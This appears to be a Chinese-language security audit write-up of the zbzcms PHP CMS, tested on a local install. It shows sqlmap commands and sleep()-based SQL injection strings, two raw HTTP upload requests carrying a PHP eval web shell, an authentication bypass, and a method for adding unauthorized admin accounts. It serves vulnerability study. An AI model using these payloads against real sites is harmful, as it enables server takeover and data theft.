zbzcms审计
自己的一个简单记录,可能写的有点混乱,欢迎师傅们指出。
环境搭建
http://127.0.0.1/zbzcms/cms/cms/install/index.php
直接可以自动安装好
正常前台界面
开始
初次学习,就跟着师傅的文章一步步来,正常第一步就seay扫一遍
1、任意文件删除
$run传入,并没有做删除的校验判断
右键全文跟踪
跟到
get传入,up.php 的路径就是:/cms/cms/include/up.php?run=del
get请求一下路径:
还是很简单的一个逻辑,post传入url路径,因为没做任何校验,传入url对应文件即可删除
在绝对路径下手动建一个1.txt
post请求就是url=1.txt
发送请求后返回1,文件已经被删除了
其他目录就正常构造即可
一样可以删除
还有一个点也是,类似的逻辑,不多分析
2、sql注入
1
未过滤单引号,可能存在注入
在ajax.php的头部是引用了sql文件的
跟进看看,正常的增删改查
开头有一个处理函数
但是未添加过滤
然后在增加数据和修改数据部分存在这个处理函数
那么传入参数的路由也很清晰了
直接构造sql语句测试即可
sqlmap测试
python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=dj&id=1" -p id
2
看到这里好像审计还是在我可接受范围内的
下面就自己尝试去分析
/include/make.php存在注入,和上一个注入一样,art参数传入,未做引号处理
sleep()测试下
很明显了就
sqlmap跑一下
python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/cms/include/make.php?php=1&art=1" -p art
3
同样的可控参数传入,tid是可控的,保证laiyuan==0进入if语句
3)%20and%20sleep(1)%23
select id from art where (tid=$tid and fabushijian=1) order by id asc limit 1
右括号闭合一下语句
测试的时候发现有的tid是无法注入的,例如tid=1,这里需要数据库中存在这个tid的值才行
4
比较明显了
http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=ad&id=1%20and%20sleep(1)
3、文件上传
1、
zbzcms/cms/common/php/upload.php
扫描出的文件中还很多提示文件上传,一一来看
看到文件上传部分的代码
eles存在文件后缀校验,但是参数name==1时直接跳过了,那么就可以直接构造post包进行上传了,构造一个post上传
POST /zbzcms/cms/common/php/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close
------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-stream
yzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--
http://127.0.0.1/zbzcms/cms/common/php/1.php
2、
/zbzcms/cms/cms/include/upload.php
和上面的文件一样
没什么好说的,直接构造路径上传
POST /zbzcms/cms/cms/include/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close
------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-stream
yzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--
http://127.0.0.1/zbzcms/cms/cms/include/1.php
3、
http://127.0.0.1/zbzcms/cms/cms/include/up.php
构造就行了,代码很好懂
filename=0|1来控制文件命名,0就输出目标地址和原文件名,1根据时间输出文件名
问题一:有的站点上传的文件是根据时间生成,返回上传成功不返回文件名,如何构造?
4、
/cms/cms/zbzedit/php/zbz.php
同样不存在过滤,直接构造
成功上传
5、
http://127.0.0.1/zbzcms/cms/cms/admin/run_ajax.php
后台洞
同样的,没有任何过滤
这里是后台洞,显然没有登陆验证,后续会提到
4、存储型xss
无过滤输出到页面且存储进了数据库,直接构造
后台访问下就执行了
5、任意文件写入
全局搜索:file_put_contents
判断的run参数 然后获取post传参的值,再判断魔术引号开关是否开启,如果开启 在用stripslashes() 函数把反斜杠删去。
跟着师傅的文章一步步看,才发现刚刚的文件上传还有这个文件写入,都是后台文件,但是没有验证,
翻到上面的登陆处
验证函数是if($run==‘paiming_du’) ,确实,和没有一样,run的值都构造成别的了,不就直接跳过验证了
构造就可以写入文件了
上面好像还有个文件上传
这个前文也提到过了,不多分析,单独审一个文件可能会发现很多洞的
还有个文件,一样的上传
这里不多赘述,和上文中的一样的逻辑
7、管理员添加
看到判断登陆验证的下面,有个表的增删改查
这里可以直接自己指定表,可以直接未授权添加管理员账号或者修改了,那么问题来了,表名和表中的列名不知道啊,
看登陆验证处
admin表,guanliyuan、mima列
直接添加后可以添加到数据库中
但是好像少了表中的列参数无法登陆
再看到if判断
如果管理员数量大于0,还有id列和dengji列,一并在post数据中添加上,但是还不行
第二处管理员添加:
继续翻翻代码
emmm,一目了然了,这里应该是真正的添加管理员的功能处吗,还有个chuangjianshijian列,虽然在数据库李已经看到了,但还是从代码的角度来看
后续发现只需要等级处不为空即可,然后传入的密码是md5(md5($pass)): 加密值才能登陆成功
其他的删除和修改逻辑和添加是一样的不继续分析
还有一种利用session去登陆,在师傅文章中有提到 参考:https://forum.butian.net/share/1215
结束
差不多就这些,后续有发现继续补充